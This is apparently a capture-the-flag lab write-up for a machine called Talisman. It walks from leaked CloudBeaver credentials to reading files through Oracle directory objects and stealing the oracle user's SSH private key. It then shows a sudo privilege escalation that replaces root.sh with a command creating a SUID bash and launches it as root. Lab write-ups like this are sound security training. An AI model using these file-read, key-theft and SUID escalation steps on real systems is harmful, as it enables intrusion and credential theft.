Overview

The machine starts by using leaked credentials on a CloudBeaver instance on port 8978 that gives access to an Oracle database, leveraging create directory privileges with pl/sql file read techniques via utl_file and dbms_xslprocessor to retrieve the oracle ssh private key to get shell as oracle, then abusing a writable parent directory for a sudo-allowed root.sh script to create a suid bash to get shell as root.

Scenario

You have been assigned a penetration test on a critical Linux server in the client's environment. The scope is strictly limited to a single Linux server environment designated as the target. The primary objective is to gain root-level access to this system to demonstrate maximum impact and the full extent of the security compromise to the client.

A set of leaked credentials, recently recovered from a third-party data breach, have been provided. While the specific service or application these credentials belong to is unknown, they serve as the initial vector for establishing a foothold. jane / Greattalisman1!

Enumeration

We start with nmap scan as usual.

Only SSH appeared in the initial scan so let's do UDP scan and full TCP scan.

The UDP scan came back empty.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Talisman]
└──╼ [★]$ udpx -t 10.1.236.49

        __  ______  ____ _  __
        / / / / __ \/ __ \ | / /
       / / / / / / / /_/ /   /
      / /_/ / /_/ / ____/ |
      \____/_____/_/ /_/|_|
          v1.0.7, by @nullt3r

2026/08/28 10:42:24 [+] Starting UDP scan on 1 target(s)
2026/08/28 10:42:45 [+] Scan completed

TCP full scan showed one more port at 8978 so let's see what it is.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Talisman]
└──╼ [★]$ sudo masscan 10.1.236.49 -p1-65535 --interface tun0 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2026-08-28 14:43:13 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 22/tcp on 10.1.236.49
Discovered open port 8978/tcp on 10.1.236.49

Connecting to the port using nc and sending any payload returns HTTP response so it is an HTTP port.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Talisman]
└──╼ [★]$ nc 10.1.236.49 8978
a
HTTP/1.1 400 Bad Request
Date: Fri, 28 Aug 2026 14:50:48 GMT
Cache-Control: must-revalidate,no-cache,no-store
Content-Type: text/html;charset=iso-8859-1
Content-Length: 322

< html>
< head>
< meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
< title>Error 400 No URI</title>
< /head>
< body>
< h2>HTTP ERROR 400 No URI</h2>
< table>
< tr><th>URI:</th><td>/badMessage</td></tr>
< tr><th>STATUS:</th><td>400</td></tr>
< tr><th>MESSAGE:</th><td>No URI</td></tr>
< /table>

< /body>
< /html>
^C

Port 8978

Visiting the page it is hosting CloudBeaver instance.

CloudBeaver is a web-based, open-source database management system created by the team behind DBeaver

For this machine we are given a set of credentials that were tested against SSH and failed so let's test them here.

Using Jane password we get logged in to find that there is an Oracle instance running within a Docker container at 172.17.0.1 so let's do enumeration.

Oracle Enumeration

We first start by listing all the users on the system, the ones that looks interesting are the DEV user and the PDBAdmin.

Enumerating all the tables that we own as the DEV user we find that there is only one table called DATA_EXT.

Making sure that we are running in context of the user DEV first.

Reading the table it has a dummy data that can't be useful here.

Reading the privileges given to the DEV user we can DROP any directory and CREATE any directory.

I don't know what each of these privileges does but let's do some reading, head directly to the Oracle docs to read more about those two privileges and the interesting one is the create.

Here is what I got:

  • Directory object in Oracle isn't a real file system directory it is just a DB object that acts as an alias/pointer to a path on the server's filesystem.
  • Once this object created the Procedural Language/Structured Query Language (PL/SQL) like UTL_FILE or DBMS_XSLPROCESSOR and external tables can reference that alias to read or write files at the OS level using the context of whoever running the Oracle process (typically the user oracle).

So bottom line there is a way here to read files out of the system specially that I tried to get RCE using the CREATE PROCEDURE privilege blindly and even though we're given this privilege it didn't work for some reason.

Showing that we actually have CREATE PROCEDURE given to us by a role (cause it didn't show on the privilege given to the user but it shows on the session means it is given to us by some role we're given).

First I listed all directories just to know where the DB is operating from and it is operating from /opt/oracle (doesn't really matter but I just wanted to know).

There are multiple ways to read files via Oracle and both are part of the PL/SQL:

  • Using UTL_FILE which opens a file handle explicitly FOPEN like a traditional OS-level file descriptor and reads one line at a time into VARCHAR2 buffer and we control the loop ourselves and we must have the EXECUTE privilege on the UTL_FILE specifically (this is designed for genuine I/O operations like logging, reading conf files line by line but we still can use it).
  • Using the DBMS_XSLPROCESSOR.READ2CLOB which reads whole file at once with one function call and returns CLOB as you can see in the name which is Character Large Object, it was meant for loading large XML documents to transform them but we still can use it (this one was buried on StackOverflow but Claude found it).

We'll show the two ways:

Read Files via UTL_FILE

To read files via UTL_FILE we have to create the directory object first looking for whatever place we need to look at like /etc and we give it any name like DIR_ETC and we just execute this first.

Then we use that DIR_ETC with the UTL_FILE.FOPEN to open as descriptor and start looping till we read all data we need.

We execute as a SQL script in number 1 and then look for the server output in the icon 2 and as you can see we can see the file.

The issue with this method that every time we need to read a file in a different directory we have to create a new directory object for that directory first because the FOPEN doesn't accept the system file path and if we tried to do it'll return invalid directory object as you can see.

Read file using DBMS_XSLPROCESSOR

Same idea as before but we don't need to loop we just read it one shot as you can see.

Still the same issue exists btw I just added the declare block at the start and at the execution I create or replace the directory object so I don't have to rename each object so it is the same issue just a different way to make it easier by giving the file path separated each time.

Anyway we'll use the second way, so I read the /etc/passwd looking for users with bash shell and two users came up the Oracle one which is running this instance so I am sure it is the one we have access to read its files.

One things always look for if you don't have a way in but you can read files or write files is to either reading existing SSH keys or start dropping your own.

Because we don't have command execution yet we have to go blind guessing the private key name which is usually named after the algorithm like id_rsa or id_ed25519 (it is just the default naming by ssh-keygen unless the user chooses something different).

Reading the id_rsa under the user oracle we get a key as you can see.

Shell as Oracle

So first copy the key from the output to a file and set the permissions to it (SSH keys permissions can't be too open so we have to make it only accessible by the owner otherwise it'll be rejected).

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Talisman]
└──╼ [★]$ chmod 600 id_rsa

Now using the file we can login as oracle.

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Talisman]
└──╼ [★]$ ssh -i id_rsa oracle@10.1.71.101
The authenticity of host '10.1.71.101 (10.1.71.101)' can't be established.
ED25519 key fingerprint is SHA256:fb+EpSRe4DP+R7cSRU4CnjhkAi73XezRQ38Eix6uU8k.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:27: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.1.71.101' (ED25519) to the list of known hosts.
Last login: Fri Aug 28 11:49:14 2026
[oracle@talisman ~]$ whoami
oracle
[oracle@talisman ~]$

Here we read the user flag (not gonna show you hehe).

Shell as root

Looking for ways to escalate privileges, first thing looking for is the commands we can run using sudo and we find one for a custom script under the Oracle files.

bash
[oracle@talisman opt]$ sudo -l
Matching Defaults entries for oracle on talisman:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User oracle may run the following commands on talisman:
    (ALL) NOPASSWD: /opt/oracle/product/21c/dbhomeXE/root.sh
[oracle@talisman opt]$

Trying to read the script we don't have permissions to do.

yaml
[oracle@talisman dbhomeXE]$ cat /opt/oracle/product/21c/dbhomeXE/root.sh
cat: /opt/oracle/product/21c/dbhomeXE/root.sh: Permission denied
[oracle@talisman dbhomeXE]$ 

So I tried to run it maybe it leaks a behavior or something but it just writes a log file that we don't have access to read.

bash
[oracle@talisman dbhomeXE]$ sudo /opt/oracle/product/21c/dbhomeXE/root.sh
Check /opt/oracle/product/21c/dbhomeXE/install/root_talisman.local_2026-08-28_12-11-32-403557245.log for the output of root script
[oracle@talisman dbhomeXE]$

So taking a step back at the parent directory of that root.sh script we see that we can write to that folder because we own the folder.

bash
[oracle@talisman 21c]$ ls -la
total 4
drwxrwxr-x.  3 oracle oinstall   22 Sep  4  2025 .
drwxr-xr-x.  3 oracle oinstall   17 Sep  4  2025 ..
drwxrwxr-x. 61 oracle oinstall 4096 Aug 28 11:51 dbhomeXE

So even though we don't have enough permissions over the file itself like write we have over the parent directory meaning we don't need to change the file's content we'll just remove it and write another one under the exact same name.

So we remove the root.sh file and write a new one in the same place that copies the bash binary and sets the SUID over it under the /tmp directory.

yaml
[oracle@talisman 21c]$ echo 'cp /bin/bash /tmp/rooted && chmod +s /tmp/rooted' > dbhomeXE/root.sh 
-bash: dbhomeXE/root.sh: Permission denied
[oracle@talisman 21c]$ rm -rf dbhomeXE/root.sh 
[oracle@talisman 21c]$ echo 'cp /bin/bash /tmp/rooted && chmod +s /tmp/rooted' > dbhomeXE/root.sh 
[oracle@talisman 21c]$ 

Then we make sure it is executable.

bash
[oracle@talisman 21c]$ chmod +x dbhomeXE/root.sh 

Then we run the same command using sudo, now instead of the original script (that we don't know what it did) now we create our own bash binary with the permissions we need which is SUID.

bash
[oracle@talisman 21c]$ sudo /opt/oracle/product/21c/dbhomeXE/root.sh
[oracle@talisman 21c]$ ls -la /tmp/rooted
-rwsr-sr-x. 1 root root 1154680 Aug 28 12:16 /tmp/rooted

The SUID means we run the file in context of the owner by default and because the owner is root (we copied the file using sudo) we run the bash using root user but we have to use the -p flag to maintain the privilege of the SUID otherwise the kernel will just strip it and as you can see we are root.

bash
[oracle@talisman etc]$ /tmp/rooted -p
rooted-4.4# whoami
root
rooted-4.4#

Where we can read the root flag.

bash
rooted-4.4# cat /root/root.txt 
e4cc22ed781b02e04ae<GOT-YOU>
rooted-4.4#

Path

Initial access via CloudBeaver → Oracle file read → SSH key → oracle shell → SUID via writable root.sh → root. See mermaid diagram below for the full attack chain visualization. Pasted image 20260828224547.png

Resources